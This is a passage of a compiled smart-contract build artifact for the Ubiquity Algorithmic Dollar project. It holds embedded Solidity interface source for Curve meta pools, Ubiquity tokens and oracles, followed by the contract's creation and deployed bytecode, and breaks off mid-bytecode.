_crvBasePool,\\n ERC20(dollarTokenAddress).name(),\\n ERC20(dollarTokenAddress).symbol(),\\n dollarTokenAddress,\\n _amplificationCoefficient,\\n _fee\\n );\\n stableSwapMetaPoolAddress = metaPool;\\n\\n // Approve the newly-deployed meta pool to transfer this contract's funds\\n uint256 crv3PoolTokenAmount =\\n IERC20(_crv3PoolTokenAddress).balanceOf(address(this));\\n uint256 uADTokenAmount =\\n IERC20(dollarTokenAddress).balanceOf(address(this));\\n\\n // safe approve revert if approve from non-zero to non-zero allowance\\n IERC20(_crv3PoolTokenAddress).safeApprove(metaPool, 0);\\n IERC20(_crv3PoolTokenAddress).safeApprove(\\n metaPool,\\n crv3PoolTokenAmount\\n );\\n\\n IERC20(dollarTokenAddress).safeApprove(metaPool, 0);\\n IERC20(dollarTokenAddress).safeApprove(metaPool, uADTokenAmount);\\n\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(metaPool).coins(0) == dollarTokenAddress &&\\n IMetaPool(metaPool).coins(1) == _crv3PoolTokenAddress,\\n \\\"uADMGR: COIN_ORDER_MISMATCH\\\"\\n );\\n // Add the initial liquidity to the StableSwap meta pool\\n uint256[2] memory amounts =\\n [\\n IERC20(dollarTokenAddress).balanceOf(address(this)),\\n IERC20(_crv3PoolTokenAddress).balanceOf(address(this))\\n ];\\n\\n // set curve 3Pool address\\n curve3PoolTokenAddress = _crv3PoolTokenAddress;\\n IMetaPool(metaPool).add_liquidity(amounts, 0, msg.sender);\\n }\\n\\n function getExcessDollarsDistributor(address _debtCouponManagerAddress)\\n external\\n view\\n returns (address)\\n {\\n return _excessDollarDistributors[_debtCouponManagerAddress];\\n }\\n}\\n\",\"keccak256\":\"0xc86d80999cdfecfd7228760b8f80d76a9081b40e00b978ac9ae7021a46db56d9\",\"license\":\"MIT\"},\"contracts/interfaces/ICurveFactory.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface ICurveFactory {\\n event BasePoolAdded(address base_pool, address implementat);\\n event MetaPoolDeployed(\\n address coin,\\n address base_pool,\\n uint256 A,\\n uint256 fee,\\n address deployer\\n );\\n\\n function find_pool_for_coins(address _from, address _to)\\n external\\n view\\n returns (address);\\n\\n function find_pool_for_coins(\\n address _from,\\n address _to,\\n uint256 i\\n ) external view returns (address);\\n\\n function get_n_coins(address _pool)\\n external\\n view\\n returns (uint256, uint256);\\n\\n function get_coins(address _pool) external view returns (address[2] memory);\\n\\n function get_underlying_coins(address _pool)\\n external\\n view\\n returns (address[8] memory);\\n\\n function get_decimals(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_decimals(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_rates(address _pool) external view returns (uint256[2] memory);\\n\\n function get_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_balances(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_A(address _pool) external view returns (uint256);\\n\\n function get_fees(address _pool) external view returns (uint256, uint256);\\n\\n function get_admin_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_coin_indices(\\n address _pool,\\n address _from,\\n address _to\\n )\\n external\\n view\\n returns (\\n int128,\\n int128,\\n bool\\n );\\n\\n function add_base_pool(\\n address _base_pool,\\n address _metapool_implementation,\\n address _fee_receiver\\n ) external;\\n\\n function deploy_metapool(\\n address _base_pool,\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _A,\\n uint256 _fee\\n ) external returns (address);\\n\\n function commit_transfer_ownership(address addr) external;\\n\\n function accept_transfer_ownership() external;\\n\\n function set_fee_receiver(address _base_pool, address _fee_receiver)\\n external;\\n\\n function convert_fees() external returns (bool);\\n\\n function admin() external view returns (address);\\n\\n function future_admin() external view returns (address);\\n\\n function pool_list(uint256 arg0) external view returns (address);\\n\\n function pool_count() external view returns (uint256);\\n\\n function base_pool_list(uint256 arg0) external view returns (address);\\n\\n function base_pool_count() external view returns (uint256);\\n\\n function fee_receiver(address arg0) external view returns (address);\\n}\\n\",\"keccak256\":\"0xcb339cf4aab1d3b5e35f541b496ffba0b9ca6a5e1da6dfbe9d03cde693d2f10e\",\"license\":\"MIT\"},\"contracts/interfaces/IERC1155Ubiquity.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC1155/IERC1155.sol\\\";\\n\\n/// @title ERC1155 Ubiquiti preset interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IERC1155Ubiquity is IERC1155 {\\n function mint(\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n ) external;\\n\\n function mintBatch(\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) external;\\n\\n function burn(\\n address account,\\n uint256 id,\\n uint256 value\\n ) external;\\n\\n function burnBatch(\\n address account,\\n uint256[] memory ids,\\n uint256[] memory values\\n ) external;\\n\\n function pause() external;\\n\\n function unpause() external;\\n\\n function totalSupply() external view returns (uint256);\\n\\n function exists(uint256 id) external view returns (bool);\\n\\n function holderTokens() external view returns (uint256[] memory);\\n}\\n\",\"keccak256\":\"0x49a2cea3597a289be6297d1881a582842a021fbb69ee6703cfd74809d0e640af\",\"license\":\"Apache-2.0\"},\"contracts/interfaces/IERC20Ubiquity.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\n\\n/// @title ERC20 Ubiquiti preset interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IERC20Ubiquity is IERC20 {\\n // ----------- Events -----------\\n event Minting(\\n address indexed _to,\\n address indexed _minter,\\n uint256 _amount\\n );\\n\\n event Burning(address indexed _burned, uint256 _amount);\\n\\n // ----------- State changing api -----------\\n function burn(uint256 amount) external;\\n\\n function permit(\\n address owner,\\n address spender,\\n uint256 value,\\n uint256 deadline,\\n uint8 v,\\n bytes32 r,\\n bytes32 s\\n ) external;\\n\\n // ----------- Burner only state changing api -----------\\n function burnFrom(address account, uint256 amount) external;\\n\\n // ----------- Minter only state changing api -----------\\n function mint(address account, uint256 amount) external;\\n}\\n\",\"keccak256\":\"0xf1170e23d8c1c05ecb677a1417bd13a646383544e292100edd7da32fb2188d91\",\"license\":\"Apache-2.0\"},\"contracts/interfaces/IMetaPool.sol\":{\"content\":\"// SPDX-License-Identifier: UNLICENSED\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface IMetaPool {\\n event Transfer(\\n address indexed sender,\\n address indexed receiver,\\n uint256 value\\n );\\n event Approval(\\n address indexed owner,\\n address indexed spender,\\n uint256 value\\n );\\n event TokenExchange(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event TokenExchangeUnderlying(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event AddLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event RemoveLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 token_supply\\n );\\n event RemoveLiquidityOne(\\n address indexed provider,\\n uint256 token_amount,\\n uint256 coin_amount,\\n uint256 token_supply\\n );\\n event RemoveLiquidityImbalance(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event CommitNewAdmin(uint256 indexed deadline, address indexed admin);\\n event NewAdmin(address indexed admin);\\n event CommitNewFee(\\n uint256 indexed deadline,\\n uint256 fee,\\n uint256 admin_fee\\n );\\n event NewFee(uint256 fee, uint256 admin_fee);\\n event RampA(\\n uint256 old_A,\\n uint256 new_A,\\n uint256 initial_time,\\n uint256 future_time\\n );\\n event StopRampA(uint256 A, uint256 t);\\n\\n function initialize(\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _decimals,\\n uint256 _A,\\n uint256 _fee,\\n address _admin\\n ) external;\\n\\n function decimals() external view returns (uint256);\\n\\n function transfer(address _to, uint256 _value) external returns (bool);\\n\\n function transferFrom(\\n address _from,\\n address _to,\\n uint256 _value\\n ) external returns (bool);\\n\\n function approve(address _spender, uint256 _value) external returns (bool);\\n\\n function get_previous_balances() external view returns (uint256[2] memory);\\n\\n function get_balances() external view returns (uint256[2] memory);\\n\\n function get_twap_balances(\\n uint256[2] memory _first_balances,\\n uint256[2] memory _last_balances,\\n uint256 _time_elapsed\\n ) external view returns (uint256[2] memory);\\n\\n function get_price_cumulative_last()\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function admin_fee() external view returns (uint256);\\n\\n function A() external view returns (uint256);\\n\\n function A_precise() external view returns (uint256);\\n\\n function get_virtual_price() external view returns (uint256);\\n\\n function calc_token_amount(uint256[2] memory _amounts, bool _is_deposit)\\n external\\n view\\n returns (uint256);\\n\\n function calc_token_amount(\\n uint256[2] memory _amounts,\\n bool _is_deposit,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function add_liquidity(uint256[2] memory _amounts, uint256 _min_mint_amount)\\n external\\n returns (uint256);\\n\\n function add_liquidity(\\n uint256[2] memory _amounts,\\n uint256 _min_mint_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts,\\n address _receiver\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount\\n ) external returns (uint256);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function calc_withdraw_one_coin(uint256 _burn_amount, int128 i)\\n external\\n view\\n returns (uint256);\\n\\n function calc_withdraw_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received\\n ) external returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received,\\n address _receiver\\n ) external returns (uint256);\\n\\n function ramp_A(uint256 _future_A, uint256 _future_time) external;\\n\\n function stop_ramp_A() external;\\n\\n function admin_balances(uint256 i) external view returns (uint256);\\n\\n function withdraw_admin_fees() external;\\n\\n function admin() external view returns (address);\\n\\n function coins(uint256 arg0) external view returns (address);\\n\\n function balances(uint256 arg0) external view returns (uint256);\\n\\n function fee() external view returns (uint256);\\n\\n function block_timestamp_last() external view returns (uint256);\\n\\n function initial_A() external view returns (uint256);\\n\\n function future_A() external view returns (uint256);\\n\\n function initial_A_time() external view returns (uint256);\\n\\n function future_A_time() external view returns (uint256);\\n\\n function name() external view returns (string memory);\\n\\n function symbol() external view returns (string memory);\\n\\n function balanceOf(address arg0) external view returns (uint256);\\n\\n function allowance(address arg0, address arg1)\\n external\\n view\\n returns (uint256);\\n\\n function totalSupply() external view returns (uint256);\\n}\\n\",\"keccak256\":\"0xc89cc32a2a8a0336c380ed2ae3c3b5a9292cf1cd431cc09dec4d3057389ed893\",\"license\":\"UNLICENSED\"},\"contracts/interfaces/ITWAPOracle.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\ninterface ITWAPOracle {\\n function update() external;\\n\\n function consult(address token) external view returns (uint256 amountOut);\\n}\\n\",\"keccak256\":\"0x363aabed248b8af1af9afffb9243afbce75e2af95afeabb1abea4dbfd73022d1\",\"license\":\"MIT\"},\"contracts/interfaces/IUbiquityAlgorithmicDollar.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./IERC20Ubiquity.sol\\\";\\n\\n/// @title UAD stablecoin interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IUbiquityAlgorithmicDollar is IERC20Ubiquity {\\n event IncentiveContractUpdate(\\n address indexed _incentivized,\\n address indexed _incentiveContract\\n );\\n\\n function setIncentiveContract(address account, address incentive) external;\\n\\n function incentiveContract(address account) external view returns (address);\\n}\\n\",\"keccak256\":\"0x34469f12207adbfd6003ce7710ddc7b0ee3c1637b5d7fbac2b35c9e3fe3b6182\",\"license\":\"Apache-2.0\"},\"contracts/interfaces/IUbiquityFormulas.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\ninterface IUbiquityFormulas {\\n function durationMultiply(\\n uint256 _uLP,\\n uint256 _weeks,\\n uint256 _multiplier\\n ) external pure returns (uint256 _shares);\\n\\n function bonding(\\n uint256 _shares,\\n uint256 _currentShareValue,\\n uint256 _targetPrice\\n ) external pure returns (uint256 _uBOND);\\n\\n function redeemBonds(\\n uint256 _uBOND,\\n uint256 _currentShareValue,\\n uint256 _targetPrice\\n ) external pure returns (uint256 _uLP);\\n\\n function bondPrice(\\n uint256 _totalULP,\\n uint256 _totalUBOND,\\n uint256 _targetPrice\\n ) external pure returns (uint256 _priceUBOND);\\n\\n function ugovMultiply(uint256 _multiplier, uint256 _price)\\n external\\n pure\\n returns (uint256 _newMultiplier);\\n}\\n\",\"keccak256\":\"0xfcdf335bdcc311c3676d3f1ff8972ad99a10cb83cfb5365b8fc1c26858bac5d1\",\"license\":\"MIT\"}},\"version\":1}", - "bytecode": "0x6080604052670de0b6b3a7640000600155670de0b6b3a764000060025566038d7ea4c68000600355670de0b6b3a76400006004553480156200004057600080fd5b5060405162001bb838038062001bb88339810160408190526200006391620003ad565b600080546001600160a01b0319166001600160a01b038316178155436005556006556200008f62000096565b506200041a565b6000620000a26200020c565b90506000600454821115620000cc57600354600454620000c39084620003f6565b119050620000e3565b60035482600454620000df9190620003f6565b1190505b8015620002085760008054906101000a90046001600160a01b03166001600160a01b031663214f78826040518163ffffffff1660e01b815260040160206040518083038186803b1580156200013757600080fd5b505afa1580156200014c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001729190620003ad565b6001600160a01b031663794e955c600254846040518363ffffffff1660e01b8152600401620001ab929190918252602082015260400190565b60206040518083038186803b158015620001c457600080fd5b505afa158015620001d9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ff9190620003dd565b60025560048290555b5050565b60008060009054906101000a90046001600160a01b03166001600160a01b0316638fe636836040518163ffffffff1660e01b815260040160206040518083038186803b1580156200025c57600080fd5b505afa15801562000271573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002979190620003ad565b6001600160a01b031663283583c660008054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b158015620002f257600080fd5b505afa15801562000307573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200032d9190620003ad565b6040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160206040518083038186803b1580156200036d57600080fd5b505afa15801562000382573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003a89190620003dd565b905090565b600060208284031215620003bf578081fd5b81516001600160a01b0381168114620003d6578182fd5b9392505050565b600060208284031215620003ef578081fd5b5051919050565b6000828210156200041557634e487b7160e01b81526011600452602481fd5b500390565b61178e806200042a6000396000f3fe608060405234801561001057600080fd5b50600436106100de5760003560e01c8063219339331161008c5780636e553f65116100665780636e553f65146101ac57806378b3139b146101bf578063f22b1ded146101d2578063ffd65a49146101e5576100de565b8063219339331461016f57806347e54e3814610178578063481c6a7514610181576100de565b806316f0115b116100bd57806316f0115b1461011c5780631959a0021461013f5780631aeb2d0914610166576100de565b8062f714ce146100e3578063053f14da146100f85780630572b0cc14610114575b600080fd5b6100f66100f136600461163b565b6101f8565b005b61010160045481565b6040519081526020015b60405180910390f35b610101610408565b60055460065461012a919082565b6040805192835260208301919091520161010b565b61012a61014d3660046115b3565b6007602052600090815260409020805460019091015482565b61010160025481565b61010160035481565b61010160015481565b600054610194906001600160a01b031681565b6040516001600160a01b03909116815260200161010b565b6100f66101ba36600461163b565b61048b565b6100f66101cd366004611623565b61064d565b6101016101e03660046115b3565b610798565b6100f66101f3366004611623565b610944565b60008054906101000a90046001600160a01b03166001600160a01b031663de71c1db6040518163ffffffff1660e01b815260040160206040518083038186803b15801561024457600080fd5b505afa158015610258573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061027c91906115cf565b6001600160a01b0316336001600160a01b0316146102e15760405162461bcd60e51b815260206004820181905260248201527f4d6173746572436865663a206e6f7420426f6e64696e6720436f6e747261637460448201526064015b60405180910390fd5b6001600160a01b0381166000908152600760205260409020805483111561034a5760405162461bcd60e51b815260206004820152601360248201527f4d433a20616d6f756e7420746f6f20686967680000000000000000000000000060448201526064016102d8565b610352610a8f565b600181015460065482546000929164e8d4a510009161037191906116f1565b61037b91906116d1565b6103859190611710565b90506103918382610e79565b815461039e908590611710565b80835560065464e8d4a51000916103b591906116f1565b6103bf91906116d1565b60018301556040518481526001600160a01b038416907f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a94243649060200160405180910390a250505050565b33600090815260076020526040812061041f610a8f565b600181015460065482546000929164e8d4a510009161043e91906116f1565b61044891906116d1565b6104529190611710565b905061045e3382610e79565b600654825464e8d4a5100091610473916116f1565b61047d91906116d1565b600190920191909155905090565b60008054906101000a90046001600160a01b03166001600160a01b031663de71c1db6040518163ffffffff1660e01b815260040160206040518083038186803b1580156104d757600080fd5b505afa1580156104eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061050f91906115cf565b6001600160a01b0316336001600160a01b03161461056f5760405162461bcd60e51b815260206004820181905260248201527f4d6173746572436865663a206e6f7420426f6e64696e6720436f6e747261637460448201526064016102d8565b6001600160a01b038116600090815260076020526040902061058f610a8f565b8054156105d757600181015460065482546000929164e8d4a51000916105b591906116f1565b6105bf91906116d1565b6105c99190611710565b90506105d58382610e79565b505b80546105e49084906116b9565b80825560065464e8d4a51000916105fb91906116f1565b61060591906116d1565b60018201556040518381526001600160a01b038316907fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c9060200160405180910390a2505050565b60005460408051633b4d977360e01b815290516001600160a01b03909216916391d14854918391633b4d977391600480820192602092909190829003018186803b15801561069a57600080fd5b505afa1580156106ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d2919061160b565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561070f57600080fd5b505afa158015610723573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074791906115eb565b6107935760405162461bcd60e51b815260206004820152601b60248201527f4d6173746572436865663a206e6f7420554251206d616e61676572000000000060448201526064016102d8565b600355565b6001600160a01b0380821660009081526007602090815260408083206006548454835163310c7a0f60e21b815293519596929591948794919093169263c431e83c92600480840193829003018186803b1580156107f457600080fd5b505afa158015610808573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082c91906115cf565b6001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561086457600080fd5b505afa158015610878573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089c919061160b565b600554909150431180156108af57508015155b1561090e5760006108be610fba565b90506000670de0b6b3a7640000600154836108d991906116f1565b6108e391906116d1565b9050826108f58264e8d4a510006116f1565b6108ff91906116d1565b61090990856116b9565b935050505b6001830154835464e8d4a51000906109279085906116f1565b61093191906116d1565b61093b9190611710565b95945050505050565b60005460408051633b4d977360e01b815290516001600160a01b03909216916391d14854918391633b4d977391600480820192602092909190829003018186803b15801561099157600080fd5b505afa1580156109a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c9919061160b565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610a0657600080fd5b505afa158015610a1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3e91906115eb565b610a8a5760405162461bcd60e51b815260206004820152601b60248201527f4d6173746572436865663a206e6f7420554251206d616e61676572000000000060448201526064016102d8565b600155565b6005544311610a9d57610e77565b610aa5610fdd565b60008060009054906101000a90046001600160a01b03166001600160a01b031663c431e83c6040518163ffffffff1660e01b815260040160206040518083038186803b158015610af457600080fd5b505afa158015610b08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2c91906115cf565b6001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610b6457600080fd5b505afa158015610b78573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b9c919061160b565b905080610bad575043600555610e77565b6000610bb7610fba565b90506000670de0b6b3a764000060015483610bd291906116f1565b610bdc91906116d1565b905060008054906101000a90046001600160a01b03166001600160a01b031663b42165d06040518163ffffffff1660e01b815260040160206040518083038186803b158015610c2a57600080fd5b505afa158015610c3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6291906115cf565b6040516340c10f1960e01b8152306004820152602481018390526001600160a01b0391909116906340c10f1990604401600060405180830381600087803b158015610cac57600080fd5b505af1158015610cc0573d6000803e3d6000fd5b5050505060008054906101000a90046001600160a01b03166001600160a01b031663b42165d06040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1057600080fd5b505afa158015610d24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4891906115cf565b6001600160a01b03166340c10f1960008054906101000a90046001600160a01b03166001600160a01b031663c5f956af6040518163ffffffff1660e01b815260040160206040518083038186803b158015610da257600080fd5b505afa158015610db6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dda91906115cf565b610de56005856116d1565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401600060405180830381600087803b158015610e2b57600080fd5b505af1158015610e3f573d6000803e3d6000fd5b50505050828164e8d4a51000610e5591906116f1565b610e5f91906116d1565b600654610e6c91906116b9565b600655505043600555505b565b60008060009054906101000a90046001600160a01b03166001600160a01b031663b42165d06040518163ffffffff1660e01b815260040160206040518083038186803b158015610ec857600080fd5b505afa158015610edc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f0091906115cf565b6040516370a0823160e01b81523060048201529091506000906001600160a01b038316906370a082319060240160206040518083038186803b158015610f4557600080fd5b505afa158015610f59573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f7d919061160b565b905080831115610fa057610f9b6001600160a01b0383168583611141565b610fb4565b610fb46001600160a01b0383168585611141565b50505050565b60025460055460009190610fce9043611710565b610fd891906116f1565b905090565b6000610fe76111ad565b9050600060045482111561100d576003546004546110059084611710565b119050611022565b6003548260045461101e9190611710565b1190505b801561113d5760008054906101000a90046001600160a01b03166001600160a01b031663214f78826040518163ffffffff1660e01b815260040160206040518083038186803b15801561107457600080fd5b505afa158015611088573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ac91906115cf565b6001600160a01b031663794e955c600254846040518363ffffffff1660e01b81526004016110e4929190918252602082015260400190565b60206040518083038186803b1580156110fc57600080fd5b505afa158015611110573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611134919061160b565b60025560048290555b5050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1663a9059cbb60e01b1790526111a890849061133d565b505050565b60008060009054906101000a90046001600160a01b03166001600160a01b0316638fe636836040518163ffffffff1660e01b815260040160206040518083038186803b1580156111fc57600080fd5b505afa158015611210573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061123491906115cf565b6001600160a01b031663283583c660008054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b15801561128e57600080fd5b505afa1580156112a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112c691906115cf565b6040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160206040518083038186803b15801561130557600080fd5b505afa158015611319573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd8919061160b565b6000611392826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166114229092919063ffffffff16565b8051909150156111a857808060200190518101906113b091906115eb565b6111a85760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60448201527f6f7420737563636565640000000000000000000000000000000000000000000060648201526084016102d8565b6060611431848460008561143b565b90505b9392505050565b6060824710156114b35760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f60448201527f722063616c6c000000000000000000000000000000000000000000000000000060648201526084016102d8565b843b6115015760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016102d8565b600080866001600160a01b0316858760405161151d919061166a565b60006040518083038185875af1925050503d806000811461155a576040519150601f19603f3d011682016040523d82523d6000602084013e61155f565b606091505b509150915061156f82828661157a565b979650505050505050565b60608315611589575081611434565b8251156115995782518084602001fd5b8160405162461bcd60e51b81526004016102d89190611686565b6000602082840312156115c4578081fd5b813561143481611769565b6000602082840312156115e0578081fd5b815161143481611769565b6000602082840312156115fc578081fd5b81518015158114611434578182fd5b60006020828403121561161c578081fd5b5051919050565b600060208284031215611634578081fd5b5035919050565b6000806040838503121561164d578081fd5b82359150602083013561165f81611769565b809150509250929050565b6000825161167c818460208701611727565b9190910192915050565b60006020825282518060208401526116a5816040850160208701611727565b601f01601f19169190910160400192915050565b600082198211156116cc576116cc611753565b500190565b6000826116ec57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561170b5761170b611753565b500290565b60008282101561172257611722611753565b500390565b60005b8381101561174257818101518382015260200161172a565b83811115610fb45750506000910152565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461177e57600080fd5b5056fea164736f6c6343000803000a", - "deployedBytecode": "0x608060405234801561001057600080fd5b50600436106100de5760003560e01c8063219339331161008c5780636e553f65116100665780636e553f65146101ac57806378b3139b146101bf578063f22b1ded146101d2578063ffd65a49146101e5576100de565b8063219339331461016f57806347e54e3814610178578063481c6a7514610181576100de565b806316f0115b116100bd57806316f0115b1461011c5780631959a0021461013f5780631aeb2d0914610166576100de565b8062f714ce146100e3578063053f14da146100f85780630572b0cc14610114575b600080fd5b6100f66100f136600461163b565b6101f8565b005b61010160045481565b6040519081526020015b60405180910390f35b610101610408565b60055460065461012a919082565b6040805192835260208301919091520161010b565b61012a61014d3660046115b3565b6007602052600090815260409020805460019091015482565b61010160025481565b61010160035481565b61010160015481565b600054610194906001600160a01b031681565b6040516001600160a01b03909116815260200161010b565b6100f66101ba36600461163b565b61048b565b6100f66101cd366004611623565b61064d565b6101016101e03660046115b3565b610798565b6100f66101f3366004611623565b610944565b60008054906101000a90046001600160a01b03166001600160a01b031663de71c1db6040518163ffffffff1660e01b815260040160206040518083038186803b15801561024457600080fd5b505afa158015610258573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061027c91906115cf565b6001600160a01b0316336001600160a01b0316146102e15760405162461bcd60e51b815260206004820181905260248201527f4d6173746572436865663a206e6f7420426f6e64696e6720436f6e747261637460448201526064015b60405180910390fd5b6001600160a01b0381166000908152600760205260409020805483111561034a5760405162461bcd60e51b815260206004820152601360248201527f4d433a20616d6f756e7420746f6f20686967680000000000000000000000000060448201526064016102d8565b610352610a8f565b600181015460065482546000929164e8d4a510009161037191906116f1565b61037b91906116d1565b6103859190611710565b90506103918382610e79565b815461039e908590611710565b80835560065464e8d4a51000916103b591906116f1565b6103bf91906116d1565b60018301556040518481526001600160a01b038416907f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a94243649060200160405180910390a250505050565b33600090815260076020526040812061041f610a8f565b600181015460065482546000929164e8d4a510009161043e91906116f1565b61044891906116d1565b6104529190611710565b905061045e3382610e79565b600654825464e8d4a5100091610473916116f1565b61047d91906116d1565b600190920191909155905090565b60008054906101000a90046001600160a01b03166001600160a01b031663de71c1db6040518163ffffffff1660e01b815260040160206040518083038186803b1580156104d757600080fd5b505afa1580156104eb573d6000803e3d6000fd5b505050506040513d601f19601f8201